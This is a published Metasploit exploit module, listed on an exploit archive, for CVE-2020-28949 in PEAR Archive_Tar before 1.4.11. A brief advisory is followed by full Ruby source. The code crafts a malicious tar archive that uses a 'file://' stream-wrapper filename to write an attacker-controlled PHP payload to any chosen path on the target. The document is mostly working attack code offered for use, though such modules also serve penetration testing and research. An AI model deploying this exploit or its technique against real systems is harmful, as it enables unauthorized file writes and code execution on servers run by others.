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PEAR Archive_Tar Arbitrary File Write

PEAR Archive_Tar Arbitrary File Write
Posted Jan 25, 2021
Authored by gwillcox-r7, xorathustra | Site metasploit.com

This Metasploit module takes advantages of Archive_Tar versions prior to 1.4.11 which fail to validate file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

tags | exploit, arbitrary, php
advisories | CVE-2020-28949
SHA-256 | 1019e130477e9832a8566af946e7e3daa33b70f86ad034baced9732c7dae0aa5

PEAR Archive_Tar Arbitrary File Write

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/tar'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)

register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end

def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end
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